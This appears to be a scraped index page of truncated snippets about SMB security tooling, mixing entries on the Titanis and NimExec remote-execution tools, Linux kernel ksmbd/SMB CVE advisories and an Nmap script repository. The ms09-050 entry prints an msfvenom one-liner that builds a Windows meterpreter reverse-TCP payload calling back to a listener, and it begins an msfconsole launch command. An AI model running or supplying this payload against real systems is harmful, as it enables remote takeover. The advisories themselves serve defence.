Titanis

在文档站点上查看用户指南 简介 Titanis 是一个用 C 编写的协议实现和命令行实用工具库，用于与 Windows 环境进行交互。它使用 .NET 8，并且是跨平台的（Windows 和 Linux）。已实现的部分协议包括： SMB2 MS-SMB2 SMB 2.x 和 3.x，最高支持 3.1.1 消息安全功能，如签名和加密 包含对文件系统控制代码的支持 MS-FSCC DFS 链接 MS-DFSC MSRPC MS-RPCE 端点映射器 DCOM MS-DCOM 目录复制 MS-DRSR 已在 Windows Server 2008 和 Windows Server 2025 上...

NimExec

NimExec 基本的に、NimExecは Service Control Manager Remote Protocol MS-SCMR を使用するファイルレスなリモートコマンド実行ツールです。LocalSystemが実行するランダムまたは指定されたサービスのバイナリパスを変更し、ターゲット上で指定されたコマンドを実行し、後でWinAPI呼び出しの代わりに手作りRPCパケットを介して復元します。これらのパケットはSMB2とsvcctl名前付きパイプを介して送信されます。...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 一行命令生成/创建Windows漏洞载荷 msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ 一行命令启动meterpreter msfconsole -x "u...

SMB-LINUX-CVE-2025-37899

Linux内核ksmbd中的释放后使用漏洞 CVE-2025-37899 描述 已在Linux内核的ksmbd模块中发现一个 释放后使用 漏洞，该模块负责实现用于网络文件交换的SMB（服务器消息块）协议。此漏洞标识为CVE-2025-37899，可能允许以高权限远程执行代码。 介绍 该发现由研究员Sean Heelan使用OpenAI的o3模型完成，展示了人工智能在识别复杂漏洞方面的潜力。该漏洞存在于对SMB2/3的logoff命令的处理中，可在特定竞争条件下被利用。 技术细节 漏洞描述 释放后使用...

PT-2026-106499

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix OOB struct field reads in move smb2 ea to cifs In move smb2 ea to cifs, the while src size 0 loop condition is insufficient. It allows iteration to continue even if the remaining src size is too small to contain ...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in ksmbd within the Linux kernel versions 5.15 through 5.19, prior to 5.19.2. There is an out-of-bounds read and an OOPS error for SMB2write, when a large length is present in the zero DataOffset case. source-iocs-preserved const=SMB2WRITE...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: fixed the bug in the trap function of smb2lock. If the lock count is greater than 1, the flags might contain an old value. This issue should be checked using the flags of smb Lock, not those of smb Lock. This could lead...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: smb: client: fixed potential OOBs in smb2ParseContexts Validated offsets and lengths before dereferencing to create contexts in smb2ParseContexts. This fix addresses the following OOPs when accessing invalid create contexts fr...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the handling of SMB2LOGOFF commands. The issue arises from the lack of proper validation of a pointer before accessing it. An attacker can exploit this...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: The issue of “use-after-free” of conn-preauthinfo in the concurrent SMB2 NEGOTIATE process has been fixed. conn-preauthinfo represents information about a shared connection state struct preauthintegrityinfo, kmalloc-96. Th...

nmap-nse-scripts

用于 NSE（Nmap 脚本引擎）开发的仓库。你将在这里找到我的脚本（包括非官方脚本）、库、资源以及来自我的工作坊的其他相关材料。 待办事项 -完成 SMB2 NSE 库 -目前正在开发密码变形功能 Paulino Calderon calderonwebsec.mx http://calderonpale.com...

DEBIAN-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

UBUNTU-CVE-2026-97560

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

CVE-2026-97560: Undefined Security Weakness

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix one-byte OOB read in smb2parsenativesymlink When parsing a share-root relative native symlink, memcpy copies smbtarget+1 skipping the leading separator but uses strlensmbtarget+1 as the length, reading one byte...

PT-2026-98845

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description A tree connection leak exists in the smb2 tree connect function. The issue occurs when the ksmbd iov pin rsp function fails, resulting in the failure to disconnect the new tree connectio...

PT-2026-98500

Name of the Vulnerable Software and Affected Versions Linux kernel affected versions not specified Description An out-of-bounds read of one byte occurs in the smb2 parse native symlink function when parsing a share-root relative native symlink. The issue arises because memcpy copies data starting...

SUSE CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

DEBIAN-CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...

CVE-2026-93282

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix maximum allowed access checks The DACL permission check looks for an ACE matching the current user and falls back to the Everyone ACE. It does not consider an Authenticated Users ACE, even though an authenticated sessi...